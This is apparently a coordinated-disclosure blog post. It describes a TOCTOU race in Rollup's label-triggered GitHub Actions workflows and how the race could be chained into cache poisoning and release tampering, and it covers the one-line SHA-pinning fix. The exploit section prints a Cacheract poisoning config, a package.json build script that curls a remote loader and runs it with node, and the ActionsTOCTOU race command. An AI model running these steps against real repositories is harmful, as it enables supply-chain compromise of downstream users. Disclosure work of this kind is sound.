One Label Away from Backdooring 80 million installations per week - Lupin & Holmes

One Label Away from Backdooring 80 million installations per week

Mar 17, 2026

RONI CARTA | LUPIN

Rollup, GitHub Actions, Cache Poisoning, Supply Chain Attack, CI/CD, Depi

Intro

A maintainer reviews a pull request, applies a label, and CI builds artefacts. Sounds normal. Except the workflow checks out whatever the PR branch points to now, not what the maintainer actually reviewed. That one-line difference turned a routine label into an entry point for cache poisoning and release tampering in rollup/rollup.

Depi, our Upstream Security Platform, flagged this chain autonomously. The platform continuously maps CI/CD attack surfaces across the upstream dependency graph and surfaced this one without a human in the loop. That matters because this class of bug is everywhere, hiding in thousands of upstream workflows, and catching it by hand does not scale.

We reported the finding and coordinated disclosure with the Rollup maintainers, who promptly fixed it.

The Game is On

Why Rollup

Rollup is a module bundler for JavaScript that compiles small pieces of code into larger libraries or applications. It pioneered tree-shaking in the JS ecosystem: statically analyzing ES module imports to strip out unused code, producing lighter and faster bundles. It is downloaded 78 million times per week.

Vite uses Rollup for its production builds, which means every framework built on Vite inherits it: SvelteKit, Nuxt, Astro, SolidStart, Qwik. Most library authors use Rollup directly to produce their published npm packages. It sits in the transitive dependency tree of a massive portion of npm.

A tainted Rollup release does not compromise one project. It propagates through the entire downstream graph, silently, the next time anyone runs npm install.

The Bug

Rollup has two GitHub Actions workflows:

  • repl-artefacts.yml
  • performance-report.yml

That trigger on pull_request_target when a maintainer applies the label x⁸ ⚙️ build repl artefacts. They build artefacts or run benchmarks on the PR's code. Here is the checkout step that both used:

.github/workflows/repl-artefacts.yml:

- name: Checkout Commit
  uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
  with:
    ref: refs/pull/${{ github.event.number }}/merge

.github/workflows/performance-report.yml:

strategy:
  matrix:
    settings:
      - name: current
        ref: refs/pull/${{ github.event.number }}/merge
      - name: previous
        ref: ${{ github.event.pull_request.base.ref }}
# ...
steps:
  - name: Checkout Commit
    uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
    with:
      ref: refs/pull/${{ github.event.number }}/merge

See the problem ? refs/pull/<PR_NUMBER>/merge is a symbolic ref. It does not point to a fixed commit. It resolves to whatever the branch looks like at the moment the runner checks it out, not at the moment the maintainer applied the label.

That is a textbook Time-of-Check to Time-of-Use (TOCTOU) race. The maintainer reviews commit A and labels the PR. The workflow starts, but before the checkout step runs, the attacker force-pushes commit B to the same branch. The runner fetches the merge ref, gets B, and executes the attacker's code in the trusted CI context.

Or, to put it more bluntly: "Thanks for reviewing my harmless PR. I have now swapped the engine mid-flight."

The maintainer thinks: "I reviewed this, I labeled it, CI can build." The workflow thinks: "A label was applied. Let me fetch whatever the ref points to now."

Knock Knock

From TOCTOU to Cache Poisoning

A TOCTOU in CI gives you code execution. But what we found interesting is where you can go from there. The kill chain we built:

  1. Win the race: force-push a malicious commit after the label is applied, before the workflow checks out.
  2. Execute in the artefact-build workflow: the runner now runs attacker-controlled code (e.g. a hijacked npm run build:cjs script).
  3. Poison the cache: the payload uses Cacheract to fill the repository's GitHub Actions cache with trojanized entries that overwrite pinned actions (e.g. actions/checkout at specific SHAs).
  4. Wait: the poisoned cache entries sit there, looking like normal cached dependencies.
  5. Privileged workflow restores the cache: the next release workflow (or any workflow that consumes the same cache) restores the attacker's entries.
  6. Arbitrary code execution in the release context: the trojanized action runs, the attacker can tamper with artefacts before they are published to npm.

That is the full chain. TOCTOU → code execution → cache poisoning → release tampering.

Worth noting: trusted publishing protects who can publish. It does not protect what gets published if the build environment is already compromised.

The Exploit

Here is how we built it, step by step. We are describing the flow and tooling without publishing the full weaponized PoC.

Preparation (Attacker)

1 - Clone Cacheract

2 - Set the following Cacheract configuration in the root file cacheract.config.yaml:

singleTurn: true
sleepTimer: 0
skipDownload: true
fillCache: 11
discordWebhook: ""
replacements:
  - FILE_PATH: "/home/runner/work/PoC.txt"
    FILE_CONTENT: "aGFja2Vk"
explicitEntries:
  - key: "node-modules-Linux-X64-"
    version: "1cbc60d75cb9cbdfdc7cee051451c7a3706c8311eed5c886ca3ea62cbc8efee6"
checkoutExtras:
  - "8e8c483db84b4bee98b60c0593521ed34d9990e8"
  - "1af3b93b6815bc44a9784bd300feb67ff0d1eeb3"

This configuration instructs Cacheract to over-write the action.yml file associated with actions/checkout v5.0.0 and v6.0.1 pinned by SHA when it runs in a workflow that consumes a cacheract poisoned cache.

3 - Run npm run build to bundle Cacheract in the dist/bundle.js folder.

4 - Save that bundle.js file to a Gist or any other site where you can host a downloaded file. In this case I saved it to a gist called cacheract.js

5 - Create a loader Gist (or again, any other site) containing: curl -sSfL https://gist.githubusercontent.com/YOUR_GIST > /tmp/cacheract.js && node /tmp/cacheract.js

6 - Using an attacker account, prepare an package.json file with the following contents. Replace <YOUR_LOADER> with the gist url in the build:cjs script.

{
  "name": "rollup",
  "version": "3.29.5",
  "description": "Next-generation ES module bundler",
  "main": "dist/rollup.js",
  "module": "dist/es/rollup.js",
  "types": "dist/rollup.d.ts",
  "bin": {
    "rollup": "dist/bin/rollup"
  },
  "scripts": {
    "build": "rollup --config rollup.config.ts --configPlugin typescript",
    "dev": "vitepress dev docs",
    "build:cjs": "curl -sSfL YOUR_LOADER > /tmp/cacheract.js && node /tmp/cacheract.js",
    [...]
}

7 - Fork the rollup/rollup repository.

8 - In the fork, create a pull request with a benign change that is likely to be accepted and labeled by a maintainer.

Fix Typo

9 - Create a PAT using the attacker account.

10 - Run ActionsTOCTOU:

export GH_TOKEN=<ghp_your_attacker_token>

python3 actions_toctou.py \ 
    --target-pr <PR_NUMBER>
    --fork-repo <ATTACKER_FORK> 
    --fork-branch <BRANCH_IN_FORK> 
    --mode label 
    --search-string '.*build repl.*' 
    --update-file package.json
    --update-path 'package.sjon'
    --repo <USERNAME>/rollup

Make sure to replace:

  • PR_NUMBER by the PR number you created
  • BRANCH_IN_FORK by the name of the branch you used on the attacker's repository
  • USERNAME by the handle of the targetted victim
  • ghp_your_attacker_token by the attacker's Github PAT.

Build Repl

Execution (Attacker & Maintainer)

1 - A maintainer reviews the attacker's benign pull request.

2 - The maintainer applies the x⁸ ⚙️ build repl artefacts label to the pull request, triggering the vulnerable workflow.

3 - The attacker's automation script detects the label and immediately force-pushes the malicious package.json to the pull request branch, winning the race condition.

Race Window

4 - The GitHub Actions workflow starts. Due to the TOCTOU vulnerability, it checks out the refs/pull/<PR_NUMBER>/merge ref, which now contains the attacker's malicious code.

5 - The malicious action executes, running the cache poisoning script. It populates the repository's GitHub Actions cache with trojanized versions of actions/checkout.

Rollup Cache Poisoned

The Fix

The Rollup maintainers fixed the vulnerability in commit c79e6c2. The commit message nails it:

While our pull_request_target flows can only be triggered by adding a label, there is a short time window where a user could push another commit to the target. If we do not check out the sha referenced in the Github action but the ref, then this ref would point to the newly pushed commit, allowing to inject code to steal credentials.

The fix is one line per workflow. Pin the checkout to the immutable commit SHA from the event context instead of the mutable symbolic ref:

Before:

ref: refs/pull/${{ github.event.number }}/merge

After:

ref: ${{ github.event.pull_request.head.sha }}

Applied in both repl-artefacts.yml and performance-report.yml. The second mitigation: release workflows should not restore caches written by lower-trust jobs. If a job can publish, it should run in a clean environment. PR #6118 reflects further hardening of the workflow area after disclosure.

Who Does It Impact?

Everyone.

Everyone

From our scans, a backdoored Rollup release would have reached most FAANG companies, a significant portion of the Fortune 2000, and virtually every startup shipping a modern JavaScript frontend. If your CI/CD pipeline runs npm install and your dependency tree includes Vite, SvelteKit, Nuxt, or any of the thousands of libraries bundled with Rollup, you are pulling it. That is not a hypothetical blast radius. That is the actual dependency graph of the modern web.

Shai-Hulud and Rollup

When the ecosystem talks about CI/CD supply chain attacks, the most prominent reference point is Shai-Hulud, the first self-propagating worm in npm. The first wave (September 2025) compromised 100+ packages. The 2.0 wave (November 2025) produced 30,000+ exfiltrated repositories, 500+ compromised GitHub tokens, and over 60% of leaked npm tokens still valid at disclosure. Notably, initial access in the 2.0 wave came from the same class of pull_request_target misconfiguration in PostHog, AsyncAPI, and Postman.

Shai-Hulud spread horizontally: a worm replicating across many packages. This Rollup chain is a different geometry, vertical. No worm needed. One foundational project, one tainted release, and the compromise propagates through the dependency graph silently.

To put it in perspective: according to Wiz, @postman/tunnel-agent and @asyncapi/specs together accounted for over 60% of Shai-Hulud 2.0 infections. The dominant vector, @postman/tunnel-agent, has roughly 950K weekly downloads. Rollup has 78 million.

That is an 82x difference in reach from a single package. Two different exploit shapes, same underlying class of CI/CD misconfiguration.

BIG BIG THANK YOU

We want to thank the Rollup maintainers for their responsiveness. Once we reported the vulnerability, they acknowledged it quickly and shipped a fix within days. Open-source security depends on maintainers who take reports seriously and act fast. The Rollup team did exactly that.

We also want to thank Adnan Khan for his help validating the chain and building the proof of concept. His work on Cacheract and ActionsTOCTOU made the exploit reproducible, and he is also a true master of build pipeline exploitation. Truly a fun person to talk to <3

Conclusion

One reviewed PR. One mutable ref. One shared cache. Three primitives chained together to go from a benign-looking contribution to arbitrary code execution inside the release pipeline of a package installed 78 million times a week. The fix was a single line per workflow. The attack surface was visible in the YAML the entire time.

Every company that depends on Rollup potentially inherited this attack surface without knowing it existed. That is the reality of modern software:

your upstream components' CI/CD pipelines are part of your security boundary.

Their misconfigurations are your vulnerabilities. We cannot continue to operate as an industry by treating upstream dependencies as someone else's problem. If you are not looking at the build pipelines of the packages you depend on, you are trusting infrastructure you have never audited to produce the code you ship to your users.